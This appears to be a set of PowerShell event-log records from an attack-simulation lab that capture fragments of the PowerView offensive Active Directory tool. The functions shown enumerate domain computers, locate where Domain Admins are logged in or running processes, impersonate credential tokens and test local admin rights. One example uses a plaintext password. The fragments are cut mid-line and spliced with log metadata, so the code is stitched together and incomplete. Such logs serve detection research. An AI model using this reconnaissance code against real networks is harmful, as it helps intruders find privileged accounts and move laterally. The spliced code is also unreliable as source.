in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
ForEach ($Process in $Processescb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118534Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3948ring]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
$TargetComputers = @()
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
$TargetComputerArrayList = New-Object System.Collections.ArrayList
if ($StealthSource -match 'File|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
# # TODO: fix the passed parameters to Get-DomainDFSShare
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
# get the current user so we can ignore it in the results
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}
# now build the user target set
if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $TargetComputer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName
if ($CName -and $CName.StartsWith('\\')) {
$CName = $CName.TrimStart('\')
}
# make sure we have a result, and ignore computer$ sessions
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
# try to resolve the DNS hostname of $Cname
try {
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
}
catch {
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
}
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName $TargetComputer
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['Scb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118533Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3848e're excluding folders
$Continue = $True
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
Write-Verbose "Excluding: $($_.FullName)"
$Continue = $False
}
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
$Continue = $False
}
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
$Continue = $False
}
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
$Continue = $False
}
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
$Continue = $False
}
if ($Continue) {
$FileParams = @{
'Path' = $_.FullName
'Owner' = $((Get-Acl $_.FullName).Owner)
'LastAccessTime' = $_.LastAccessTime
'LastWriteTime' = $_.LastWriteTime
'CreationTime' = $_.CreationTime
'Length' = $_.Length
}
$FoundFile = New-Object -TypeName PSObject -Property $FileParams
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
$FoundFile
}
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
########################################################
#
# 'Meta'-functions start below
#
########################################################
function New-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[String[]]
$ComputerName,
[Parameter(Position = 1, Mandatory = $True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,
[Int]
[ValidateRange(1, 100)]
$Threads = 20,
[Switch]
$NoImports
)
BEGIN {
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
# force a single-threaded apartment state (for token-impersonation stuffz)
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
# add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach ($Var in $MyVars) {
if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
# add Functions from current runspace to the InitialSessionState
ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a "powershell pipeline runner"
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose "[New-ThreadedFunction] Threads executing"
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
.DESCRIPTION
